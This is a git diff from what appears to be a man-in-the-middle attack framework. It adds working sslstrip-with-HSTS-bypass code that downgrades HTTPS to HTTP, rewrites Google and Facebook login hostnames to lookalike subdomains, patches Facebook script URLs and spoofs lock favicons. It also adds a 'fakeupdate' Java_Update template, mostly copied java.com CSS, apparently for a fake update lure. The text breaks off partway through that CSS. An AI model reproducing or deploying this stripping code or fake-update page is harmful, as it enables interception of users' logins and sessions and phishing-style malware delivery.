requestFactory = ClientRequest diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/URLMonitor.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/URLMonitor.py new file mode 100644 index 0000000..e74f9cc --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/URLMonitor.py @@ -0,0 +1,120 @@ +# URLMonitor + +import re +import logging + +class URLMonitor: + + ''' + The URL monitor maintains a set of (client, url) tuples that correspond to requests which the + server is expecting over SSL. It also keeps track of secure favicon urls. + ''' + + # Start the arms race, and end up here... + javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] + _instance = None + sustitucion = {} # LEO: diccionario host / sustitucion + real = {} # LEO: diccionario host / real + patchDict = { + 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', + 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', + 'return"https:"':'return"http:"' + } + + def __init__(self): + self.strippedURLs = set() + self.strippedURLPorts = {} + self.faviconReplacement = False + self.sustitucion["mail.google.com"] = "gmail.google.com" + self.real["gmail.google.com"] = "mail.google.com" + + self.sustitucion["www.facebook.com"] = "social.facebook.com" + self.real["social.facebook.com"] = "www.facebook.com" + + self.sustitucion["accounts.google.com"] = "cuentas.google.com" + self.real["cuentas.google.com"] = "accounts.google.com" + + self.sustitucion["accounts.google.es"] = "cuentas.google.es" + self.real["cuentas.google.es"] = "accounts.google.es" + + + def isSecureLink(self, client, url): + for expression in URLMonitor.javascriptTrickery: + if (re.match(expression, url)): + logging.debug("JavaScript trickery!") + return True + + if (client, url) in self.strippedURLs: + logging.debug("(%s, %s) in strippedURLs" % (client, url)) + return (client,url) in self.strippedURLs + + def getSecurePort(self, client, url): + if (client,url) in self.strippedURLs: + return self.strippedURLPorts[(client,url)] + else: + return 443 + + def addSecureLink(self, client, url): + methodIndex = url.find("//") + 2 + method = url[0:methodIndex] + pathIndex = url.find("/", methodIndex) + + if pathIndex is -1: + pathIndex = len(url) + url += "/" + + host = url[methodIndex:pathIndex].lower() + path = url[pathIndex:] + + port = 443 + portIndex = host.find(":") + + if (portIndex != -1): + host = host[0:portIndex] + port = host[portIndex+1:] + if len(port) == 0: + port = 443 + + #LEO: Sustituir HOST + if not self.sustitucion.has_key(host): + lhost = host[:4] + if lhost=="www.": + self.sustitucion[host] = "w"+host + self.real["w"+host] = host + else: + self.sustitucion[host] = "web"+host + self.real["web"+host] = host + logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) + + url = 'http://' + host + path + #logging.debug("LEO stripped URL: %s %s"%(client, url)) + + self.strippedURLs.add((client, url)) + self.strippedURLPorts[(client, url)] = int(port) + return 'http://'+self.sustitucion[host]+path + + def setFaviconSpoofing(self, faviconSpoofing): + self.faviconSpoofing = faviconSpoofing + + def isFaviconSpoofing(self): + return self.faviconSpoofing + + def isSecureFavicon(self, client, url): + return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) + + def URLgetRealHost(self,host): + logging.debug("Parsing host: %s"%host) + if self.real.has_key(host): + logging.debug("New host: %s"%self.real[host]) + return self.real[host] + else: + logging.debug("New host: %s"%host) + return host + + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance + + getInstance = staticmethod(getInstance) diff --git a/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/__init__.py b/plugins/external/sslstrip-hsts/sslstrip2/sslstrip/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/external/sslstrip/ClientRequest.py b/plugins/external/sslstrip/ClientRequest.py index 0695ae5..bdaf825 100644 --- a/plugins/external/sslstrip/ClientRequest.py +++ b/plugins/external/sslstrip/ClientRequest.py @@ -44,7 +44,7 @@ class ClientRequest(Request): respond with either favicon spoofing, session denial, or proxy through HTTP or SSL to the server. ''' - + logging = None def __init__(self, channel, queued, reactor=reactor): Request.__init__(self, channel, queued) self.reactor = reactor @@ -75,7 +75,7 @@ def cleanHeaders(self): if 'host' in headers: host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) - logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) + self.logging.emit("Modifing HOST header: %s -> %s"%(headers['host'],host)) headers['host'] = host #headers['securelink'] = '1' self.setHeader('Host',host) @@ -98,7 +98,7 @@ def getPathToLockIcon(self): if os.path.exists(scriptPath): return scriptPath - logging.warning("Error: Could not find lock.ico") + self.logging.emit("Error: Could not find lock.ico") return "lock.ico" def save_req(self,lfile,str): @@ -109,8 +109,8 @@ def save_req(self,lfile,str): def handleHostResolvedSuccess(self, address): headers = self.cleanHeaders() # for header in headers: -# logging.debug("HEADER %s = %s",header,headers[header]) - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) +# self.logging.emit("HEADER %s = %s",header,headers[header]) + self.logging.emit("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) lhost = self.getHeader("host").lower() host = self.urlMonitor.URLgetRealHost("%s"%lhost) client = self.getClientIP() @@ -133,39 +133,39 @@ def handleHostResolvedSuccess(self, address): self.dnsCache.cacheResolution(host, address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") + self.logging.emit("Sending expired cookies...") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") + self.logging.emit("Sending spoofed favicon response...") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) + self.logging.emit("Sending request via SSL...(%s %s)"%(client,url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - logging.debug("LEO Sending request via HTTP...") + self.logging.emit("Sending request via HTTP...") self.proxyViaHTTP(address, self.method, path, postData, headers) def handleHostResolvedError(self, error): - logging.warning("Host resolution error: " + str(error)) + self.logging.emit("Host resolution error: " + str(error)) self.finish() def resolveHost(self, host): address = self.dnsCache.getCachedAddress(host) if address != None: - logging.debug("Host cached.") + self.logging.emit("Host cached.") return defer.succeed(address) else: - logging.debug("Host not cached.") + self.logging.emit("Host not cached.") return reactor.resolve(host) def process(self): host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) - logging.debug("Resolving host: %s" % host) + self.logging.emit("Resolving host: %s" % host) deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) @@ -173,12 +173,12 @@ def process(self): def proxyViaHTTP(self, host, method, path, postData, headers): connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') + #self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') connectionFactory.protocol = ServerConnection self.reactor.connectTCP(host, 80, connectionFactory) def proxyViaSSL(self, host, method, path, postData, headers, port): - self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') + #self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') clientContextFactory = ssl.ClientContextFactory() connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = SSLServerConnection diff --git a/templates/fakeupdate/Java_Update/ar_dbl_red.png b/templates/fakeupdate/Java_Update/ar_dbl_red.png new file mode 100644 index 0000000..abe109d Binary files /dev/null and b/templates/fakeupdate/Java_Update/ar_dbl_red.png differ diff --git a/templates/fakeupdate/Java_Update/ar_dbl_red.png.1 b/templates/fakeupdate/Java_Update/ar_dbl_red.png.1 new file mode 100644 index 0000000..abe109d Binary files /dev/null and b/templates/fakeupdate/Java_Update/ar_dbl_red.png.1 differ diff --git a/templates/fakeupdate/Java_Update/jv0dl_a.png b/templates/fakeupdate/Java_Update/jv0dl_a.png new file mode 100644 index 0000000..e199eae Binary files /dev/null and b/templates/fakeupdate/Java_Update/jv0dl_a.png differ diff --git a/templates/fakeupdate/Java_Update/jv0h.jpg b/templates/fakeupdate/Java_Update/jv0h.jpg new file mode 100644 index 0000000..bb84ea1 Binary files /dev/null and b/templates/fakeupdate/Java_Update/jv0h.jpg differ diff --git a/templates/fakeupdate/Java_Update/screen.css b/templates/fakeupdate/Java_Update/screen.css new file mode 100644 index 0000000..45df5c0 --- /dev/null +++ b/templates/fakeupdate/Java_Update/screen.css @@ -0,0 +1,888 @@ +/* @override http://java.com/css/screen.css */ + +/* @group Blueprint CSS Framework 0.7.1 http://blueprintcss.googlecode.com * Copyright (c) 2007-2008. See LICENSE for more info. */ + +/* reset.css */ +html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, code, del, dfn, em, img, q, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td {margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;} +body {line-height:1.5;} +table {border-collapse:separate;border-spacing:0;} +caption, th, td {text-align:left;font-weight:normal;} +table, td, th {vertical-align:middle;} +blockquote:before, blockquote:after, q:before, q:after {content:"";} +blockquote, q {quotes:"" "";} +a img {border:none;} + +/* typography.css */ +body {font-size:75%;color:#222;background:#fff;font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;} +h1, h2, h3, h4, h5, h6 {font-weight:normal;color:#111;} +h1 {font-size:3em;line-height:1;margin-bottom:0.5em;} +h2 {font-size:2em;margin-bottom:0.75em;} +h3 {font-size:1.5em;line-height:1;margin-bottom:1em;} +h4 {font-size:1.18em;line-height:1;font-weight:bold;margin-bottom:1em;} +h4.sub {margin-bottom:0.25em !important;} + +h5 {font-size:1em;font-weight:bold;margin-bottom:1.5em;} +h6 {font-size:1em;font-weight:bold;} +h1.sub, +h2.sub, +h3.sub, +h5.sub, +h6.sub{margin-bottom:0 !important;} +h1 img, h2 img, h3 img, h4 img, h5 img, h6 img {margin:0;} +p {margin:0 0 1.5em;} +p img {float:left;margin:1.5em 1.5em 1.5em 0;padding:0;} +p img.right {float:right;margin:1.5em 0 1.5em 1.5em;} +/*a:focus, a:hover {color:#000;}*/ +/*a {color:#009;text-decoration:underline;}*/ +blockquote {margin:1.5em;color:#666;font-style:italic;} +strong {font-weight:bold;} +em, dfn {font-style:italic;} +dfn {font-weight:bold;} +sup, sub {line-height:0;} +abbr, acronym {border-bottom:1px dotted #666;} +address {margin:0 0 1.5em;font-style:italic;} +del {color:#666;} +pre, code {margin:1.5em 0;white-space:normal;} +pre, code, tt {font:1em 'andale mono', 'lucida console', monospace;line-height:1.5;} +/*code { background-color: #e8e8ef;}*/ +li ul, li ol {margin:0 1.5em;} +ul, ol {margin:0 1.5em 1.5em 1.5em;} +ul {list-style-type:disc;} +/*ol {list-style-type:decimal;}*/ +dl {margin:0 0 1.5em 0;} +dl dt {font-weight:bold;} +dd {margin-left:1.5em;} +table {margin-bottom:1.4em;width:100%;} +th {font-weight:bold;background:#eee;} +/*th{color:#fff;text-shadow:1px 1px 2px #666; background:#666;}*/ +th{color:#666;text-shadow:1px 1px 2px #fff; background:#D5D5D5;} +th, td {padding:4px 10px 4px 5px;} +tr.even td {background:#E5ECF9;} +tfoot {font-style:italic;} +caption {background:#eee;} +.small {font-size:.8em;margin-bottom:1.875em;line-height:1.875em;} +.large {font-size:1.2em;line-height:2.5em;margin-bottom:1.25em;} +.hide {display:none;} +.quiet {color:#666;} +.loud {color:#000;} +.highlight {background:#ff0;} +.added {background:#060;color:#fff;} +.removed {background:#900;color:#fff;} +.first {margin-left:0;padding-left:0;} +.last {margin-right:0;padding-right:0;} +.top {margin-top:0;padding-top:0;} +.bottom {margin-bottom:0;padding-bottom:0;} + +/* grid.css */ +/* Use this to create a horizontal ruler across a column. */ +hr{background:#aaa;color:#aaa;clear:both;float:none;width:100%;height:.1em;margin:0 0 1.45em;border:none;} +hr.space{background:#fff;color:#fff;} + +/* Clearing floats without extra markup + Based on How To Clear Floats Without Structural Markup by PiE + [http://www.positioniseverything.net/easyclearing.html] */ +.clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden;} +.clearfix{display:inline-block;} +* html .clearfix{height:1%;} +.clearfix{display:block;} +.clear{clear:both;} + +/* @end Blueprint */ + +/* @group Global Styles */ + +a:visited, +a:link {color:#333333; text-decoration: underline;} +a:hover .termhighlight, +a:hover {color:#f00; text-decoration: none;} +a:active .termhighlight, +a:active{color:#C20; text-decoration: none;} + +/* @end Global Styles */ +/* = Components = */ + +/* @group jvh0 Header */ + +.jvh0 { + background: url('./jv0h.jpg') no-repeat top left; + height: 95px; + width: 777px; + display: block; + overflow: hidden; + position: relative; + margin: 0 auto; +} +.jvh0 p { + font-size: 1.1em; + position: absolute; + bottom: 0px; + left: 0px; + width: 100%; + margin: 0; + + padding-bottom: 1em; + text-align: center; +} +.jvh0 p a:link, +.jvh0 p a:visited { + color: #fff; + text-decoration: none; + padding: 0.5em 0.5em 0.5em 1em; +} +.jvh0 p a.on{font-weight:bold;} +.jvh0 p a.on, +.jvh0 p a:hover { + background: url('/ga/images/jv0h_link_on.gif') no-repeat center left; + text-shadow: none; +} +.jvh0 p a.on, +.jvh0 p a:active { + color: #fff; +} + +.jvl0 { + background: url('/ga/im/a.gif') no-repeat top left; + height: 73px; + width: 120px; + display: block; + overflow: hidden; + + text-indent: -999em; + -webkit-transition:all 0.1s ease-in; + position: absolute; + top: 12px; + left: 24px; +} +.jvl0:active{background-position:0px 1px;} + +/* @group Search Form */ + +.jvs0 { + position: absolute; + top: 16px; + right: 16px; + left: auto; +} +.jvs0, .jvs0w0 { + display: block; + border: 1px solid #444; + border-bottom-color: #bbb; + border-right-color: #bbb; + height: 1.5em; + overflow: hidden; + background: #fff; +} +.jvs0w0 input, +.jvs0 input { + margin: 0; + padding: 0; + height: 18px; + line-height: 18px; + *line-height: 14px; + vertical-align: top; + display: block; + float: left; + border: none; + text-indent: 0.5em; + font-size: 1em; +} +/* @group Sidebar Search Form */ + +.jvs0w0 { + width: 146px; + margin: 1.5em 0 1.5em 12px; + padding: 0; + position: relative; +} +.jvs0w0 input.text { + position: absolute; + top: 0px; + left: 0px; + float: none; + width: 124px; +} +.jvs0w0 input.image { + height: 18px; + width: 19px; + float: none; + background-color: #fff; + position: absolute; + top: 0px; + *top: 2px; + right: 0px; +} + +/* @end Sidebar Search Form */ + +/* @end Search Form */ + + +/* @end jvh0 Header */ + +/* @group jvf0 Footer */ +.jvf0 { + clear: both; + height: 50px; + overflow: visible; + width: 777px; + margin: 0 auto; + position: relative; + padding-top: 1em; + text-align: left; +} + +.jvf0 .jvsun0 { + background: url('/ga/images/jv0_oracle.gif') no-repeat top left; + height: 22px; + width: 91px; + display: block; + overflow: hidden; + text-indent: -999em; + + position: absolute; + top: 15px; + right: 4px; +} +.jvf0 .jvsun0:hover {opacity:0.9;} +.jvf0 .jvsun0:active{opacity:1; background-position:0px 1px;} + +.jvf0 p { + font-size: 0.95em; + line-height: 1.3; + margin: 0; + margin-left: 16px; + padding: 0; + padding-top:2px; + color: #666; +} +.jvf0 p a:visited, +.jvf0 p a:link { + padding: 0.1em 0.3em; +} + +.jvf0 p a:visited, +.jvf0 p a:link {color: #666;} +.jvf0 p a:hover {color: #333;} +.jvf0 p a:active{color: #A32000;} + +/* @end jvf0 Footer */ + +/* @group jvc0 Content Area Columns */ + +.jvc0 { + text-align: left; + width: 777px; + margin: 0 auto; + position: relative; +} +.jvc0{margin-top:1.5em;} +.jvc0w2{margin-left:18px; margin-right:18px; display:block;} +* html .jvc0w2{height:1%;} + +/* 2 Column Layout */ +.jvc0w1{width:607px;float:right;} + +/* @end jvc0 Content Area Columns */ +/* @group jvc0 Styles */ + +.jvc0 {color:#111;} +.jvc0 h1 {font-size: 1.6667em; line-height: 1.5em; margin-bottom:0.3em; color:#ff0000;}/*20px*/ +.jvc0 h1 span{color:#333; font-size:1.25em;} +.jvc0 h1 b{display: block; font-size: 0.65em; line-height:1.3846em; font-weight: normal;} +.jvc0 h2 {font-size: 1.5em; line-height: 1.6667em; margin-bottom:0.3333em; color:#666;} +.jvc0 h2 b{color:#dc5519; font-weight: normal;} +.jvc0 h3 {font-size: 1.4167em; line-height: 1.7647em; margin-bottom:0.3529em; color:#333;} + +/* @end jvc0 Styles */ + +/* @group Homepage */ + +/* @group jvc0v1 */ +html .jvc0v3 h1, +html .jvc0v1 h1 { + text-transform: uppercase; + color: #646464; + text-align: center; + font: normal 64px/63px Helvetica, Arial, sans-serif; + padding-top: 7px; +} + +html .jvc0v3 h1 em, +html .jvc0v1 h1 em { + font-weight: normal; + font-style: normal; + color: #ef6207; + font-family: Arial, Helvetica, Geneva, sans-serif; + padding-left: 15px; + padding-right: 11px; +} +html .jvc0v1 .jvc0w1{float:left;} +html .jvcs0{width:170px;float:right;} + +/* @end jvc0v1 */ + +#jvhx0 { + clear: both; + overflow: hidden; + margin: 0 16px; + position: relative; +} +#jvhx0 h2 { + font-size: 1em; + font-weight: bold; + display: block; + border-top: 1px solid #aaa; + color: #333; +} +#jvhx0 h2 a:visited, +#jvhx0 h2 a:link { + color: #666; + font-weight: normal; +} + +#jvhx0 .jvhx0w1 { + white-space: nowrap; + height: 130px; + overflow: hidden; + padding: 0; +} + +#jvhx0 .jvhx0w1 a { + display: block; + float: left; + width: 125px; + overflow: hidden; +} +html #jvhx0 .jvhx0w1 a.last { + width: 117px; +} +#jvhx0 .jvhx0w1 img { + padding: 0; + margin: 0; +} + +#jvhx0 .jvhx0w1 a img { + position: relative; + -webkit-transition: opacity 0.2s ease-out, padding-top 0.2s ease-out; + opacity: 0.99999; + vertical-align: top; +} +#jvhx0 .jvhx0w1.hover a img, +#jvhx0 .jvhx0w1:hover a img { + opacity: 0.5; + -moz-opacity: 0.5; + filter:alpha(opacity=50); +} +html #jvhx0 .jvhx0w1 a:hover img { + opacity: 1.0; + -moz-opacity: 1.0; + filter:alpha(opacity=100); + filter: none; +/* padding-top: 3px;*/ +} + + +/* @group jvc0v2 : English Home */ + +.jvc0v2 .jvc0w1 { + width: auto; + float: none; + height: 336px; + padding-right: 330px; +} +html .jvc0v2 h1 { + display: block; + background: url('/ga/images/jv0ht.gif') no-repeat top center; + height: 173px; + text-indent: -999em; + margin-bottom: 2em; + position: relative; + top: 1em; +} + +html #jvc0v2 .jvc0w1{background: url('/ga/images/photos/java_home_photo2.jpg') no-repeat top right;} +html #jvc0v2.bg1 .jvc0w1{background-image:url('/ga/images/photos/java_home_photo1.jpg');} +html #jvc0v2.bg2 .jvc0w1{background-image:url('/ga/images/photos/java_home_photo2.jpg');} +html #jvc0v2.bg3 .jvc0w1{background-image:url('/ga/images/photos/java_home_photo3.jpg');} +html #jvc0v2.bg4 .jvc0w1{background-image:url('/ga/images/photos/java_home_photo4.jpg');} +html #jvc0v2.bg5 .jvc0w1{background-image:url('/ga/images/photos/java_home_photo5.jpg');} +/* @end jvc0v2 : English Home */ + +/* @group jvc0v3 : Home no sidebar */ + +.jvc0v3 .jvc0w1 { + width: auto; + float: none; +} +html .jvc0v3 h1 { + display: block; +} + +/* @end jvc0v2 : English Home */ + +/* @end Homepage */ + +/* @group Java In Action */ + +/*.jvc0v4 .jvc0w1 {width:595px;}*/ + +.jvc0v4 h1{display:none;} +.jvc0v4 h2{color:#f00;padding-top:242px;} + +.jvc0v4 .jvc0w2 { + background-repeat: no-repeat; + background-position: top right; +} +/*clearfix*/ +.jvc0w2 .thumbs:after{content:".";display:block;height:0;clear:both;visibility:hidden;} +.jvc0w2 .thumbs{display:inline-block;} +* html .jvc0w2 .thumbs{height:1%;} +.jvc0w2 .thumbs{display:block;} +/*/clearfix*/ +.jvc0w2 .thumbs{ + width: 580px; + margin-left:-9px; + overflow: hidden; +} +.jvc0w2 .thumbs .thumb{ + display:block; + float:left; + padding-left:9px; + + position: relative; + z-index: 1; +} +.jvc0w2 .thumbs3 .thumb{width:184px;}/* (571-(2*9))/3 */ +.jvc0w2 .thumbs4 .thumb{width:136px;}/* (571-(3*9))/4 */ +.jvc0w2 .thumbs5 .thumb{width:107px;}/* (571-(4*9))/5 */ + +.jvc0w2 .thumbs .thumb span{ + display:block; + width:100%; + overflow:hidden; + text-align:center; + font-size: 0.9167em; + line-height: 1.2727em; + padding: 0.9em 0 1.1em 0; +} +.jvc0w2 .thumbs .thumb img{ + border: 1px solid #222; + padding:1px; + background:#fff; +} +.jvc0w2 .thumbs .thumb a:hover img{ + border-color: #000; + background-color: #ccc; + outline: 2px solid #eee; +} +.jvc0w2 .thumbs div.hr{clear:left;} + +/* @end Java In Action */ + + +/* @group jvcs0 Sidebar */ + +.jvcs0{width:170px;float:left;} +.jvcs0 li.hr {display:block; padding:0; margin:0;} +.jvcs0 hr { + background: #999; + color: #999; + margin: 1.3333em 0 1.5833em 1em; *margin: 0 0 0 1em; + width: 146px; + position: relative; *top:-11px; +} + +/*Baseline matches 4 lines to 3 of the main font*/ + +.jvcs0 p {font-size:0.9167em;line-height:1.0909em;margin-bottom:1.0909em;} +.jvcs0v1 p {font-size:1em;line-height:1.5em;margin-bottom:1.5em;} +.jvcs0 h3, +.jvcs0 h4 { + font-weight: bold; + + font-size: 0.9167em; + line-height: 1.3636em; + padding: 0.3636em 0 0.4545em; + height: 1.3636em; + height: auto; + + margin-bottom: 0.5em; +} +.jvcs0 h3 a,.jvcs0 h4 a{display:block;} +.jvcs0 h3 a:visited, +.jvcs0 h3 a:link{color:#fff;} +.jvcs0 h4 a:visited, +.jvcs0 h4 a:link{color:#666;} + +/* @group Sidebar Text Content */ + +.jvcs0w0{background:url('/ga/images/jv0_sidebar_bg.gif') repeat-x top left; padding-bottom:3em;} +.jvcs0w0 h3, .jvcs0w0 h4, .jvcs0w0 p{padding-left:10px;padding-right:10px;} + +/*Lists*/ +.jvcs0w0 ul{padding:0;margin-left:0;margin-right:0;} +.jvcs0w0 ul li{list-style: none;text-indent:-0.8em;padding-left:1.8em;} +.jvcs0w0 ul li a:visited, +.jvcs0w0 ul li a:link{display:block;} +* html .jvcs0w0 ul li a:visited, +* html .jvcs0w0 ul li a:link{display:inline;} +/*.jvcs0w0 ul li a{font-size:0.8333em;line-height:1.8em;}*/ +.jvcs0 ul li.on a:visited, +.jvcs0 ul li.on a:link {color:#666; cursor: default; } +.jvcs0 ul li.on a:hover {text-decoration: none;} + +/*Headers*/ +.jvcs0w0 h3{color:#fff;text-shadow:1px 1px 2px #666; background:#666 url('/ga/images/jv0_sidebar_head.gif') repeat-y;} +.jvcs0w0 h4{color:#666;text-shadow:1px 1px 2px #fff; background:#D5D5D5 url('/ga/images/jv0_sidebar_subhead.gif') repeat-y;} + +/*Forms*/ +.jvcs0w0 label{font-size: 1em;line-height:1.5;padding-left:0.5em;cursor: pointer;} +.jvcs0w0 input[type=checkbox]{cursor: pointer;} + +/* @end Sidebar Text Content */ + +/* @group spsidebar */ +.spsidebar {border:1px solid #e4e2e2;} +.spheader { padding:3px 0 3px 9px; color:#000; text-transform:uppercase;vertical-align:middle; line-height:23px;background:#f0efef repeat-y !important; } +.spheader a:visited, +.spheader a:link {color:black;font-weight:bold;text-decoration:none; } +.spsidebar ul {color:#ff0000;line-height:1.5em;padding-bottom:3px;padding-top:4px; padding-left:5px;margin-right:2px; } +/* @end spsidebar */ + +/* @end jvcs0 Sidebar */ + + +/* @group jvlt0 Link Table */ + +.jvlt0{} +.jvlt0 tr.alt td{background:#eee;} +.jvlt0 td{padding:0;} +.jvlt0 td a:visited, +.jvlt0 td a:link{display:block;padding-left:1em;line-height:2em;height:2em;} +/*3 Columns*/ +.jvlt0v3 tr td{width:33.33333%;} + +/* @end jvlt0 Link Table */ + +/* @group jvn0 Newsletter Form */ + +.jvn0{display: block;text-align:center;margin-bottom:1.5em;} +.jvn0 input.text{width:270px;} + +/* @end jvn0 Newsletter Form */ + +/* @group Search Results */ + +.termhighlight{color:#111;background:#FDF7CD;font-weight:bold;} +.jvsp0 .jvsp0x0{float:right;} + +.jvsp0v1 { + color:#fff; + background-color: #999999; + padding: 0.5em 1em 0.45em 1em; + margin:1.5em 0; + text-shadow: 1px 1.5px #666666; +} +.jvsp0v1 hr{ + display:none; +} +.jvsp0v1 a, +.jvsp0v1 a:link, +.jvsp0v1 a:visited{ + color:#fff; + text-decoration:underline; +} +.jvsp0v1 a:hover{ + color:#FF0000; +} + +/* @end Search Results */ + +/* @group jvdl0 DOWNLOAD Component */ +.jvdl0{ + position: relative; + margin: 0 auto; + text-align: center; +} + +.jvdl0 p { + margin-top: -1.25em; + position: relative; + z-index: 1; +} +.jvdl0 p a:visited, +.jvdl0 p a:link { + padding: 1em 0.25em; + text-shadow: 0px -1px 3px #fff; +} +.jvdl0 p a:hover {text-shadow:1px 1px 2px #fff;} +.jvdl0 p a:active {text-shadow:none;} + +/* @group Button */ + +.jvdl0 a.jvdla0, .jvdl0x1, .jvdl0x2 { + background: url('./jv0dl_a.png') no-repeat bottom left; + display: block; + overflow: hidden; + margin: 0 auto; + width: 224px; +} +.jvdl0 a.jvdla0 { + color: white; + text-decoration: none; + text-align: center; + position: relative; + padding-bottom: 41px; +} +.jvdl0 a.jvdla0 .jvdl0x1{background-position:top left; height:28px; position:absolute; top:0px; left:0px;} +.jvdl0 a.jvdla0 .jvdl0x2{background-position:bottom left; height:65px; position:absolute; top:0px; left:0px;} +.jvdl0 a.jvdla0:hover {background-position:bottom center;} +.jvdl0 a.jvdla0:hover .jvdl0x1{background-position:top center;} +.jvdl0 a.jvdla0:hover .jvdl0x2{background-position:bottom center;} +.jvdl0 a.jvdla0:active {background-position:bottom right;} +.jvdl0 a.jvdla0:active .jvdl0x1{background-position:top right;} +.jvdl0 a.jvdla0:active .jvdl0x2{background-position:bottom right;} + +.jvdl0 a.jvdla0 span { + display: block; + padding: 1.15em; + line-height: 1em; + position: relative; + z-index: 1; + top: 3px; + font-size: 1.2em; + font-weight: bold; +} + +/* @end Button */ +/* @end jvdl0 DOWNLOAD Component */ + + +/* = DEPRECATED = */ + +/* @group Support the old Help content asis */ + +#helpcontent table { + margin: 0; + width: auto; + margin-right: auto; + margin-left: auto; +} +#helpcontent td{vertical-align:top;} +td.gradientHeader{background:#666 url('/ga/images/jv0_sidebar_head.gif') repeat-y !important;} +td.gradientHeader a:visited, +td.gradientHeader a:link{color:white; text-decoration:none;} + +/* @end Support the old Help content asis */ +/* = STYLES = */ +/* @group Individual Styles */ + +/*Table with borders*/ +table.lined td,table.lined{border:1px solid #999;border-collapse:collapse;} + + +/* @end Individual Styles */ +/* = Sun Components = */ +/* @group Sun Components */ + +/* pc6 - now using custom style */ + +/* @end Sun Components */ + +.jvcs0v2 .jvcs0w0 { + padding-bottom: 25em; +} + +body.debug * {outline:1px dotted aqua;} +body.debug td {outline:1px dotted red;} +html:hover body.debug * {outline:none;} + +html tr.manualsize th, +html tr.manualsize td{margin:0;padding:0;} + +/* @group jvmt0 Thumbnail Grid Component */ + +.jvmt0 {margin:0;} +.jvmt0 li { + display: block; + float: left; + width: 285px; + overflow: hidden; + text-align: left; + margin-bottom: 1.5em; +} +.jvmt0 li span{display:block;text-align: center; float:left; width:274px;} +.jvmt0 li.alt span{float:right;} +.jvmt0 li.alt{ + text-align: right; +} +.jvmt0 li img{ + width: 270px; + height: 150px; + background-color: #ddd; + color: #333; +} +.jvmt0 li u { + background: #fff; + border: 1px solid #333; + display: block; + float: left; +} +.jvmt0 li.alt u {float:right;} +.jvmt0 li u img {margin:1px;} + +/* @end jvmt0 Thumbnail Grid Component */ + +/* @group Fix Feedback alignment */ + +/* #O_o {margin-left: -10px !important;} */ +/* #O_c table,#O_o table {margin:0;} */ +/* #O_c th,#O_o th,#O_c td,#O_o td {padding:0;} */ + +/* @end Fix Feedback alignment */ + +/* @group subtlePager */ + +html .subtlePager .page4, +html .subtlePager .page3, +html .subtlePager .page2, +html .subtlePager .page1{display:none;} +html .subtlePager.page4 .page4, +html .subtlePager.page3 .page3, +html .subtlePager.page2 .page2, +html .subtlePager.page1 .page1{display:block;} + +* html .subtlePager .page4, +* html .subtlePager .page3, +* html .subtlePager .page2, +* html .subtlePager .page1{display:block;position:absolute;left:-9999px;} +* html .subtlePager.page4 .page4, +* html .subtlePager.page3 .page3, +* html .subtlePager.page2 .page2, +* html .subtlePager.page1 .page1{display:block;position:relative;left:auto;} + +/* @end subtlePager */ + +ul.bluearrows li { + list-style: none; + padding-left: 0; + text-indent: -1em; +} +ul.bluearrows li a { + padding-left: 1em; + background: url('./ar_dbl_red.png') no-repeat left top; +} + +ul.sidebar li { + list-style: none; + padding-left: .8em; +} +ul.sidebar li a { + padding-left: 1.8em; + background: url('./ar_dbl_red.png') no-repeat left; +} + +/* @group Fixes */ +/*Multi Column List Fix for IE*/ +td ol{padding-left:0.5em;} +/* @end Fixes */ + +/* @group eulatxt */ +.eulatxt { width:65%; margin-left:auto; margin-right:auto; } +/* @end eulatxt */ + +/* @group closewin */ +.closetop { float:right;margin-top:2.5em;margin-right:.45em; } +a.closewh {color:#fff;} +img.closewh { margin-right:5px; width:12px;height:12px; border:0px; } +img.closerd { margin-right:5px; width:15px;height:12px;border:0px;} +/* @end closewin */ + +/* @group shadow box */ +div.boxshadow { + border:1px solid #ccc; + width: 380px; + padding: 1em 1.2em 1em 0.8em; + background:#E8E8EF repeat-y !important; + -moz-box-shadow: 4px 5px 6px #444; + -webkit-box-shadow: 4px 5px 6px #444; + box-shadow: 4px 5px 6px #444; + -ms-filter: 